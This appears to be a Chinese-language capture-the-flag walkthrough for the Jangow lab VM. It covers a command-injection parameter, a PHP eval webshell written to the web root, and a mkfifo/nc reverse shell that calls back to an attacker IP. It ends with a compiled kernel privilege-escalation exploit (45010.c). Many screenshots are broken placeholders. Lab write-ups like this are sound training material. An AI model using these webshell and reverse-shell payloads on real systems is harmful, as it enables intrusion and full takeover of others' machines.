Jangow

确认目标IP
```
arp-scan -l
```
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S1ocEMj3-1684144765819)(D:\网安笔记\图片\image-20230514140211088.png)]$
扫描开放端口
```
nmap -Pn -sV -p- -A 192.168.80.128
```
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u7UUgrM8-1684144765820)(D:\网安笔记\图片\image-20230514140811129.png)]$

确认开放了21、80端口

主页面

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sGLwBtWs-1684144765820)(D:\网安笔记\图片\image-20230514141404050.png)]$
访问site页面

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mjQFRDq6-1684144765821)(D:\网安笔记\图片\image-20230514141556982.png)]$
尝试点击不同页面，发现一个/site/busque.php?buscar=可以执行命令
```
/site/busque.php?buscar=whoami
```
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mMUYmIlg-1684144765821)(D:\网安笔记\图片\image-20230514141654882.png)]$

查看网站根目录
```
/site/busque.php?buscar=pwd
```
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3Avqe8Gv-1684144765821)(D:\网安笔记\图片\image-20230514141833517.png)]$

向网站根目录写入webshell

/site/busque.php?buscar=echo '<?php @eval($_POST['glc']); ?>' >> glc.php

查看是否写入成功
```
/site/busque.php?buscar=ls -la
```
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9vaNhfG3-1684144765822)(D:\网安笔记\图片\image-20230514142047759.png)]$
连接shell

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4md5cCqH-1684144765822)(D:\网安笔记\图片\image-20230514142201570.png)]$

使用之前翻到的两个账号密码分别尝试，结果.backup 文件中的可以登陆，翻看下没有什么有用的信息

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gEP2iyoi-1684144765823)(D:\网安笔记\图片\image-20230514143428154.png)]$

尝试常规的反弹shell，发现都不可以，可能是nc 不支持 -e 参数，这个时候可以使用 mkfifo 命令创建命名管道反弹shell；使用蚁剑在/var/www/html/site/下面新建shell.php文件，内容在下面
```
<?php system("mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.80.180 443 >/tmp/f");?>
```
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0EVOY5KO-1684144765823)(D:\网安笔记\图片\image-20230514144306287.png)]$
攻击机开启443端口监听
```
nc -lvvp 443
```
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e0LOqjD8-1684144765824)(D:\网安笔记\图片\image-20230514144137556.png)]$
用浏览器去访问shell.php文件，成功反弹shell

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2FaWCN1j-1684144765824)(D:\网安笔记\图片\image-20230514144359081.png)]$
查看是否存在python环境
```
whereis python
```
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YidwRR9q-1684144765824)(D:\网安笔记\图片\image-20230514144448627.png)]$

存在python环境，切换交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YmpfEUvp-1684144765824)(D:\网安笔记\图片\image-20230514144519095.png)]$

查看内核版本
```
uname -a
```
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JOPvrSLG-1684144765825)(D:\网安笔记\图片\image-20230514144633064.png)]$
查看发行版本
```
lsb_release -a
```
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZxlYGNCM-1684144765825)(D:\网安笔记\图片\image-20230514144704340.png)]$
内核版本为4.4.0-31，发行版本为Ubuntu16.04

利用searchsploit工具搜索一下

searchsploit ubuntu 4.4.0-31

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hWqjEsKw-1684144765825)(D:\网安笔记\图片\image-20230514144902325.png)]$

searchsploit ubuntu 16.04

在这里插入图片描述

我使用的是45010.c，将文件下载到本地
```
searchsploit -m 45010.c
```
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LEF0bjY5-1684144765826)(D:\网安笔记\图片\image-20230514145120546.png)]$
在本地进行编译
```
gcc 45010.c -o exp 
```
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GXxFjdqU-1684144765826)(D:\网安笔记\图片\image-20230514145258135.png)]$
上传exp文件到靶机，增加执行权限，然后执行

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bDLUoD8t-1684145162106)(D:\网安笔记\图片\image-20230514145438684.png)]$
```
chmod +x exp
```
$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uJ6iQNVy-1684144765827)(D:\网安笔记\图片\image-20230514150413957.png)]$